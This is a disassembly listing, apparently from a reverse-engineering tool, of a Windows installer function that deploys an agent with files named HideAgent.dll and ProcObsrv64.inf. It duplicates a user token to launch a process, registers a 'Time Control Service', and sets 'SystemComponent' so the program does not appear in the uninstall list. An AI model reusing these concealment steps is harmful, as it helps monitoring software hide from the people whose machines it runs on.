call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x2e
test eax, eax
je 0x4149f9
push eax
mov ecx, str.x64_Signed_DriversProcObsrv64.inf
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x414a30
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x414a2a
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov edx, dword [ebp - 0x284]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x2f
test eax, eax
je 0x414a4c
push eax
mov ecx, str.sstray64.exe
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x414a83
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x414a7d
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov eax, dword [ebp - 0x284]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x30
test eax, eax
je 0x414a9f
push eax
mov ecx, 0x452c28
call fcn.004037a0
inc edi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x280], edi
mov ebx, edi
cmp edi, dword [ebp - 0x27c]
jb 0x414ad6
lea eax, [edi + 1]
lea esi, [ebp - 0x284]
call fcn.004285e0
test al, al
jne 0x414ad0
push 0x8007000e
call fcn.004036a0
mov edi, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x31
test eax, eax
je 0x414af2
push eax
mov ecx, 0x452c70
call fcn.004037a0
mov byte [ebp - 4], 0x19
inc edi
mov eax, 1
lea esi, [ebp - 0x298]
mov dword [ebp - 0x280], edi
call fcn.004285e0
test al, al
jne 0x414b1b
push 0x8007000e
call fcn.004036a0
mov byte [ebp - 4], 0x32
mov eax, dword [ebp - 0x298]
test eax, eax
je 0x414b34
push eax
mov ecx, 0x452a70
call fcn.004037a0
mov byte [ebp - 4], 0x19
mov esi, dword [ebp - 0x294]
inc esi
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414b71
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414b6b
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x33
test eax, eax
je 0x414b8d
push eax
mov ecx, str.HideAgent.dll
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414bc4
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414bbe
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov eax, dword [ebp - 0x298]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x34
test eax, eax
je 0x414be0
push eax
mov ecx, 0x452afc
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414c17
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414c11
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x298]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x35
test eax, eax
je 0x414c33
push eax
mov ecx, 0x452ae0
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414c6a
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414c64
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
lea eax, [edx + ebx*4]
mov byte [ebp - 4], 0x36
test eax, eax
je 0x414c86
push eax
mov ecx, 0x452c10
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414cbd
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414cb7
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov eax, dword [ebp - 0x298]
lea eax, [eax + ebx*4]
mov byte [ebp - 4], 0x37
test eax, eax
je 0x414cd9
push eax
mov ecx, 0x452b18
call fcn.004037a0
inc esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x294], esi
mov ebx, esi
cmp esi, dword [ebp - 0x290]
jb 0x414d10
lea eax, [esi + 1]
lea esi, [ebp - 0x298]
call fcn.004285e0
test al, al
jne 0x414d0a
push 0x8007000e
call fcn.004036a0
mov esi, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x298]
lea eax, [ecx + ebx*4]
mov byte [ebp - 4], 0x38
test eax, eax
je 0x414d2c
mov ecx, 0x452c60
push eax
call fcn.004037a0
mov byte [ebp - 4], 0x19
inc esi
mov dword [ebp - 0x294], esi
mov dword [ebp - 0x288], 0
cmp dword [ebp - 0x288], edi
jae 0x414e8f
mov edx, dword [ebp - 0x284]
mov eax, dword [ebp - 0x288]
lea eax, [edx + eax*4]
push eax
lea ecx, [ebp - 0x2e0]
push ecx
mov ebx, 0x460238
call fcn.0040bd10
mov eax, dword [eax]
or dword [ebp - 0x2a0], 1
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x414d94
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x414d94
mov bl, 1
jmp 0x414d96
xor bl, bl
test byte [ebp - 0x2a0], 1
je 0x414dc8
mov eax, dword [ebp - 0x2e0]
and dword [ebp - 0x2a0], 0xfffffffe
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x414dc8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x414df8
mov ebx, dword [0x45f3ec]
cmp dword [ebx - 0xc], 0
je 0x414df8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x1e5
push str.CInstaller::InstallAgent
mov edx, str.Installer.cpp
mov ecx, ebx
call fcn.00403b40
add esp, 0xc
cmp byte [ebp + 8], 0
jne 0x414e84
mov ecx, dword [0x45f350]
test ecx, ecx
je 0x414e84
mov edx, dword [ebp - 0x288]
fild dword [ebp - 0x288]
push 0
test edx, edx
jns 0x414e24
fadd qword [0x454bf0]
fmul qword [0x454c20]
mov eax, edi
mov dword [ebp - 0x2a8], eax
fild dword [ebp - 0x2a8]
test eax, eax
jns 0x414e42
fadd qword [0x454bf0]
fdivp st(1)
fnstcw word [ebp - 0x272]
movzx eax, word [ebp - 0x272]
or eax, 0xc00
mov dword [ebp - 0x2bc], eax
fldcw word [ebp - 0x2bc]
fistp qword [ebp - 0x2ac]
mov edx, dword [ebp - 0x2ac]
add edx, 5
push edx
push 0x800d
fldcw word [ebp - 0x272]
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
inc dword [ebp - 0x288]
jmp 0x414d41
xor eax, eax
mov dword [ebp - 0x288], eax
cmp eax, esi
jae 0x41518a
mov ecx, dword [ebp - 0x298]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x274], eax
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edx, dword [0x45d48c]
mov edi, eax
mov eax, dword [edx + 0xc]
mov ecx, 0x45d48c
call eax
add eax, 0x10
mov dword [ebp - 0x2a0], eax
mov byte [ebp - 4], 0x39
test edi, edi
je 0x414efe
test edi, 0xffff0000
jne 0x414f02
movzx edi, di
call fcn.004032e0
test eax, eax
je 0x414f25
push eax
mov eax, edi
lea edi, [ebp - 0x2a0]
call fcn.00403490
jmp 0x414f25
xor eax, eax
jmp 0x414f16
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x414f07
sub eax, edx
sar eax, 1
push edi
lea ecx, [ebp - 0x2a0]
push ecx
mov ebx, eax
call fcn.004036c0
lea edx, [ebp - 0x2a0]
push edx
lea eax, [ebp - 0x2bc]
push eax
lea ebx, [ebp - 0x2a4]
mov byte [ebp - 4], 0x3a
call fcn.0040bd10
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x2bc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414f70
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x2a0]
push ecx
lea edx, [ebp - 0x338]
push edx
lea ebx, [ebp - 0x2a4]
call fcn.0040bd10
add esp, 8
mov edi, eax
mov byte [ebp - 4], 0x3b
mov eax, dword [ebp - 0x274]
push eax
lea ecx, [ebp - 0x2dc]
push ecx
mov ebx, 0x460238
call fcn.0040bd10
mov ecx, dword [edi]
mov eax, dword [eax]
add esp, 8
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
mov eax, dword [ebp - 0x2dc]
sete bl
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x414fe2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x3a
mov eax, dword [ebp - 0x338]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415008
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x4150cb
mov edi, dword [0x45f3ec]
cmp dword [edi - 0xc], 0
je 0x41503c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x1f6
push str.CInstaller::InstallAgent
mov edx, str.Installer.cpp
mov ecx, edi
call fcn.00403b40
add esp, 0xc
mov ecx, dword [ebp - 0x274]
push ecx
lea edx, [ebp - 0x270]
push edx
mov ebx, 0x460238
call fcn.0040bd10
add esp, 8
mov byte [ebp - 4], 0x3c
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
push eax
push ecx
push str._to__s_s
lea edi, [ebp - 0x270]
call fcn.00402cc0
mov edx, dword [0x45f3ec]
add esp, 0xc
cmp dword [edx - 0xc], 0
je 0x4150a5
mov ecx, dword [ebp - 0x270]
push 0x1f9
push str.CInstaller::InstallAgent
push str.Installer.cpp
call fcn.00403d80
add esp, 0xc
mov byte [ebp - 4], 0x3a
mov eax, dword [ebp - 0x270]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4150cb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp byte [ebp + 8], 0
jne 0x415153
mov ecx, dword [0x45f350]
test ecx, ecx
je 0x415153
mov edx, dword [ebp - 0x288]
fild dword [ebp - 0x288]
push 0
test edx, edx
jns 0x4150f7
fadd qword [0x454bf0]
mov eax, esi
fadd st(0), st(0)
mov dword [ebp - 0x2a8], eax
fild dword [ebp - 0x2a8]
test eax, eax
jns 0x415111
fadd qword [0x454bf0]
fdivp st(1)
fnstcw word [ebp - 0x272]
movzx eax, word [ebp - 0x272]
or eax, 0xc00
mov dword [ebp - 0x2a8], eax
fldcw word [ebp - 0x2a8]
fistp qword [ebp - 0x2ac]
mov edx, dword [ebp - 0x2ac]
add edx, 8
push edx
push 0x800d
fldcw word [ebp - 0x272]
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov byte [ebp - 4], 0x19
mov eax, dword [ebp - 0x2a0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415179
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
inc dword [ebp - 0x288]
mov eax, dword [ebp - 0x288]
jmp 0x414e97
cmp byte [ebp + 8], 0
jne 0x415270
mov eax, dword [0x45f350]
test eax, eax
je 0x4151c6
push 0
push 0xa
push 0x800d
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [0x45f350]
test eax, eax
je 0x4151c6
push 0
push 3
push 0x800e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x2b4]
mov eax, dword [ecx + 0x78]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x415270
mov eax, dword [0x45d48c]
lea edx, [ebp - 0x32c]
mov dword [ebp - 0x2a8], edx
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
mov byte [ebp - 0x334], 1
call edx
add eax, 0x10
mov dword [ebp - 0x32c], eax
mov eax, str.Agent_install_terminated
mov byte [ebp - 4], 0x3d
test eax, 0xffff0000
jne 0x415239
mov ecx, eax
movzx edi, cx
call fcn.004032e0
test eax, eax
je 0x41524f
push eax
mov eax, edi
lea edi, [ebp - 0x32c]
call fcn.00403490
jmp 0x41524f
push str.Agent_install_terminated
lea edx, [ebp - 0x32c]
push edx
mov ebx, 0x18
call fcn.004036c0
mov byte [ebp - 4], 0x19
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x330], eax
push 0x456afc
lea eax, [ebp - 0x334]
push eax
call fcn.00434818
mov edx, dword [0x45d48c]
mov eax, dword [edx + 0xc]
mov ecx, 0x45d48c
call eax
add eax, 0x10
mov dword [ebp - 0x274], eax
mov byte [ebp - 4], 0x3e
mov edi, dword [0x460238]
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [edi - 4], 0
lea ecx, [edi - 4]
jl 0x4152b9
cmp eax, dword [edi - 0x10]
jne 0x4152b9
lea esi, [edi - 0x10]
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x4152f2
mov ecx, dword [edi - 0xc]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x4152d2
call fcn.00407470
mov eax, dword [edi - 0xc]
mov dword [esi + 4], eax
mov eax, dword [edi - 0xc]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.0042e1e7
add esp, 0x10
add esi, 0x10
mov dword [ebp - 0x2a0], esi
mov byte [ebp - 4], 0x3f
cmp dword [0x45f3e8], 0
je 0x415393
mov ebx, dword [esi - 0xc]
mov eax, dword [esi - 8]
mov edi, str.x64_Signed_Drivers_
mov dword [ebp - 0x270], edi
mov dword [ebp - 0x29c], ebx
add ebx, 0x13
mov ecx, 1
sub ecx, dword [esi - 4]
sub edi, esi
sub eax, ebx
sar edi, 1
or eax, ecx
jge 0x41534b
mov ecx, ebx
lea eax, [ebp - 0x2a0]
call fcn.00403650
mov esi, dword [ebp - 0x2a0]
cmp edi, dword [ebp - 0x29c]
ja 0x41535c
lea ecx, [esi + edi*2]
mov dword [ebp - 0x270], ecx
mov edx, dword [ebp - 0x270]
mov eax, dword [ebp - 0x29c]
push 0x26
push edx
lea ecx, [esi + eax*2]
push 0x26
push ecx
call fcn.0042e1e7
add esp, 0x10
test ebx, ebx
js 0x4139b8
cmp ebx, dword [esi - 8]
jg 0x4139b8
xor edx, edx
mov dword [esi - 0xc], ebx
mov word [esi + ebx*2], dx
push esi
push str._F__LM__SW__SA__PATH___sFileDrv_
lea edi, [ebp - 0x274]
call fcn.00403fa0
mov edi, dword [ebp - 0x274]
mov ebx, dword [edi - 0xc]
mov eax, dword [edi - 8]
dec ebx
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, ebx
add esp, 8
or eax, ecx
jge 0x4153d5
mov ecx, ebx
lea eax, [ebp - 0x274]
call fcn.00403650
mov edi, dword [ebp - 0x274]
test ebx, ebx
js 0x4139b8
cmp ebx, dword [edi - 8]
jg 0x4139b8
mov dword [edi - 0xc], ebx
xor eax, eax
mov word [edi + ebx*2], ax
mov esi, dword [edi - 0xc]
mov eax, dword [edi - 8]
mov ebx, 0x452e6c
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x29c], esi
inc esi
mov ecx, 1
sub ecx, dword [edi - 4]
sub ebx, edi
sub eax, esi
sar ebx, 1
or eax, ecx
jge 0x41542c
mov ecx, esi
lea eax, [ebp - 0x274]
call fcn.00403650
mov edi, dword [ebp - 0x274]
cmp ebx, dword [ebp - 0x29c]
ja 0x41543d
lea ecx, [edi + ebx*2]
mov dword [ebp - 0x270], ecx
mov edx, dword [ebp - 0x270]
mov eax, dword [ebp - 0x29c]
push 2
push edx
lea ecx, [edi + eax*2]
push 2
push ecx
call fcn.0042e1e7
xor ebx, ebx
add esp, 0x10
cmp esi, ebx
jl 0x4139b8
cmp esi, dword [edi - 8]
jg 0x4139b8
xor edx, edx
mov dword [edi - 0xc], esi
push 2
mov word [edi + esi*2], dx
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
test eax, eax
je 0x4156d2
lea eax, [ebp - 0x270]
push eax
push ebx
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
je 0x4156cc
mov edx, dword [ebp - 0x270]
lea ecx, [ebp - 0x288]
push ecx
push 1
push 2
push ebx
push 0x2000000
push edx
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x4157be
push 0x44
lea eax, [ebp - 0x3ec]
push ebx
push eax
call fcn.00431310
mov ecx, dword [ebp - 0x288]
add esp, 0xc
push ebx
xor eax, eax
push ecx
lea edx, [ebp - 0x29c]
push edx
mov dword [ebp - 0x3ec], 0x44
mov dword [ebp - 0x3e4], 0x452e70
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x29c], ebx
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
jne 0x4155de
mov eax, dword [ebp - 0x288]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x270]
push ecx
call esi
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov eax, dword [0x45d48c]
lea edx, [ebp - 0x320]
mov dword [ebp - 0x2a8], edx
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
mov byte [ebp - 0x328], bl
call edx
add eax, 0x10
mov dword [ebp - 0x320], eax
mov eax, str.Failed_to_CreateEnvironmentBlock
mov byte [ebp - 4], 0x40
test eax, 0xffff0000
jne 0x4155a7
mov ecx, eax
movzx edi, cx
call fcn.004032e0
cmp eax, ebx
je 0x4155bd
push eax
mov eax, edi
lea edi, [ebp - 0x320]
call fcn.00403490
jmp 0x4155bd
push str.Failed_to_CreateEnvironmentBlock
lea edx, [ebp - 0x320]
push edx
mov ebx, 0x20
call fcn.004036c0
mov byte [ebp - 4], 0x3f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x324], eax
push 0x456afc
lea eax, [ebp - 0x328]
push eax
call fcn.00434818
cmp dword [0x45f3e8], ebx
mov ebx, 0x452ed4
jne 0x4155f0
mov ebx, 0x452ef4
lea ecx, [ebp - 0x2a8]
push 0x460238
push ecx
call fcn.00406e70
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x41
cmp dword [edi - 4], 1
jle 0x415626
mov edx, dword [edi - 0xc]
push edx
lea eax, [ebp - 0x274]
push eax
call fcn.00403590
mov edi, dword [ebp - 0x274]
mov eax, dword [esi]
lea ecx, [ebp - 0x2d8]
push ecx
mov ecx, dword [ebp - 0x29c]
lea edx, [ebp - 0x3ec]
push edx
mov edx, dword [ebp - 0x288]
push 0
push ecx
push 0x428
push 0
push 0
push 0
push edi
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov esi, eax
mov byte [ebp - 4], 0x3f
mov eax, dword [ebp - 0x2a8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415681
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x415789
mov eax, dword [ebp - 0x2d4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x41569c
push eax
call esi
mov ecx, dword [ebp - 0x288]
push ecx
call esi
mov edx, dword [ebp - 0x270]
push edx
call esi
mov eax, dword [ebp - 0x2d8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x29c]
push ecx
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
xor ebx, ebx
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp byte [ebp + 8], 0
jne 0x415886
mov eax, dword [0x45f350]
cmp eax, ebx
je 0x41570a
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push ebx
push 0x19
push 0x800d
push eax
call esi
mov eax, dword [0x45f350]
cmp eax, ebx
je 0x41570a
push ebx
push 5
push 0x800e
push eax
call esi
mov edx, dword [ebp - 0x2b4]
mov eax, dword [edx + 0x78]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x415886
mov edx, dword [0x45d48c]
lea eax, [ebp - 0x2e4]
mov dword [ebp - 0x2a8], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x45d48c
mov byte [ebp - 0x2ec], 1
call eax
add eax, 0x10
mov dword [ebp - 0x2e4], eax
mov ecx, str.Agent_install_terminated
mov byte [ebp - 4], 0x43
test ecx, 0xffff0000
jne 0x41584f
mov edx, ecx
movzx edi, dx
call fcn.004032e0
cmp eax, ebx
je 0x415865
push eax
mov eax, edi
lea edi, [ebp - 0x2e4]
call fcn.00403490
jmp 0x415865
lea edx, [ebp - 0x348]
push edx
mov ecx, str.Failed_to_install_file_driver
mov byte [ebp - 0x350], 0
call fcn.004037a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x34c], eax
push 0x456afc
lea eax, [ebp - 0x350]
push eax
call fcn.00434818
mov edx, dword [0x45d48c]
mov eax, dword [edx + 0xc]
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x2a8], ecx
mov ecx, 0x45d48c
mov byte [ebp - 0x304], bl
call eax
add eax, 0x10
mov dword [ebp - 0x2fc], eax
mov ecx, str.Failed_to_DuplicateTokenEx
mov byte [ebp - 4], 0x42
test ecx, 0xffff0000
jne 0x415818
mov edx, ecx
movzx edi, dx
call fcn.004032e0
cmp eax, ebx
je 0x41582e
push eax
mov eax, edi
lea edi, [ebp - 0x2fc]
call fcn.00403490
jmp 0x41582e
push str.Failed_to_DuplicateTokenEx
lea eax, [ebp - 0x2fc]
push eax
mov ebx, 0x1a
call fcn.004036c0
mov byte [ebp - 4], 0x3f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x456afc
lea ecx, [ebp - 0x304]
push ecx
mov dword [ebp - 0x300], eax
call fcn.00434818
push str.Agent_install_terminated
lea eax, [ebp - 0x2e4]
push eax
mov ebx, 0x18
call fcn.004036c0
mov byte [ebp - 4], 0x3f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x456afc
lea ecx, [ebp - 0x2ec]
push ecx
mov dword [ebp - 0x2e8], eax
call fcn.00434818
mov dword [ebp - 0x2d4], ebx
mov dword [ebp - 0x2d0], ebx
mov dword [ebp - 0x2cc], ebx
mov byte [ebp - 4], 0x44
mov eax, str.AE900510D23BBD11317C86B1A980FE1E91C8419F
cmp dword [0x45f3e8], ebx
jne 0x4158ae
mov eax, str.2F89A14A9AE620E7F994682401311C26CB4788FD
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_s
lea edi, [ebp - 0x274]
call fcn.00403fa0
mov eax, dword [0x45d530]
mov ecx, dword [ebp - 0x274]
add esp, 8
lea edx, [ebp - 0x270]
push edx
push eax
push ebx
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x270], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x41592b
mov edi, dword [ebp - 0x270]
mov dword [ebp - 0x2d4], edi
cmp edi, ebx
je 0x41592b
push 4
lea edx, [ebp - 0x2a8]
push edx
push 4
push ebx
push str.SystemComponent
push edi
mov dword [ebp - 0x2a8], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x2d4], ebx
cmp dword [0x45f370], ebx
je 0x41593d
call fcn.00405a20
call fcn.004058c0
cmp dword [0x45f3e8], ebx
mov ebx, str.sstray64.exe
jne 0x41594f
mov ebx, 0x452c10
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x2a8]
push ecx
call fcn.00406e70
add esp, 8
mov byte [ebp - 4], 0x45
mov eax, dword [eax]
push eax
mov ecx, str.Time_Control_Service
xor ebx, ebx
push ebx
mov edx, ecx
call fcn.0040d930
mov esi, eax
mov byte [ebp - 4], 0x44
mov eax, dword [ebp - 0x2a8]
add eax, 0xfffffff0
add esp, 8
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4159a6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp esi, ebx
je 0x415a45
cmp esi, 0x431
je 0x415a45
mov edx, dword [0x45d48c]
mov eax, dword [edx + 0xc]
lea ecx, [ebp - 0x314]
mov dword [ebp - 0x2a8], ecx
mov ecx, 0x45d48c
mov byte [ebp - 0x31c], bl
call eax
add eax, 0x10
mov dword [ebp - 0x314], eax
mov ecx, str.Failed_to_install_agent_service
mov byte [ebp - 4], 0x46
test ecx, 0xffff0000
jne 0x415a14
mov edx, ecx
movzx edi, dx
call fcn.004032e0
cmp eax, ebx
je 0x415a2a
push eax
mov eax, edi
lea edi, [ebp - 0x314]
call fcn.00403490
jmp 0x415a2a
push str.Failed_to_install_agent_service
lea eax, [ebp - 0x314]
push eax
mov ebx, 0x1f
call fcn.004036c0
push 0x456afc
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0x44
push ecx
mov dword [ebp - 0x318], esi
call fcn.00434818
cmp byte [ebp + 8], bl
jne 0x415b26
mov eax, dword [0x45f350]
cmp eax, ebx
je 0x415a7b
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push ebx
push 0x23
push 0x800d
push eax
call edi
mov eax, dword [0x45f350]
cmp eax, ebx
je 0x415a7b
push ebx
push ebx
push 0x800e
push eax
call edi
mov edx, dword [ebp - 0x2b4]
mov eax, dword [edx + 0x78]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x415b26
mov edx, dword [0x45d48c]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2a8], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x45d48c
mov byte [ebp - 0x2f8], 1
call eax
add eax, 0x10
mov dword [ebp - 0x2f0], eax
mov ecx, str.Agent_install_terminated
mov byte [ebp - 4], 0x47
test ecx, 0xffff0000
jne 0x415aef
mov edx, ecx
movzx edi, dx
call fcn.004032e0
cmp eax, ebx
je 0x415b05
push eax
mov eax, edi
lea edi, [ebp - 0x2f0]
call fcn.00403490
jmp 0x415b05
push str.Agent_install_terminated
lea eax, [ebp - 0x2f0]
push eax
mov ebx, 0x18
call fcn.004036c0
mov byte [ebp - 4], 0x44
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x456afc
lea ecx, [ebp - 0x2f8]
push ecx
mov dword [ebp - 0x2f4], eax
call fcn.00434818
call fcn.0040dc30
mov esi, eax
cmp esi, ebx
je 0x415bca
cmp esi, 0x420
je 0x415bca
mov eax, dword [0x45d48c]
lea edx, [ebp - 0x308]
mov dword [ebp - 0x2a8], edx
mov edx, dword [eax + 0xc]
mov ecx, 0x45d48c
mov byte [ebp - 0x310], bl
call edx
add eax, 0x10
mov dword [ebp - 0x308], eax
mov eax, str.Failed_to_start_agent_service
mov byte [ebp - 4], 0x48
test eax, 0xffff0000
jne 0x415b99
mov ecx, eax
movzx edi, cx
call fcn.004032e0
cmp eax, ebx
je 0x415baf
push eax
mov eax, edi
lea edi, [ebp - 0x308]
call fcn.00403490
jmp 0x415baf
push str.Failed_to_start_agent_service
lea edx, [ebp - 0x308]
push edx
mov ebx, 0x1d
call fcn.004036c0
push 0x456afc
lea eax, [ebp - 0x310]
mov byte [ebp - 4], 0x44
push eax
mov dword [ebp - 0x30c], esi
call fcn.00434818
cmp byte [ebp + 8], bl
jne 0x415be2
mov ecx, dword [ebp - 0x2b4]
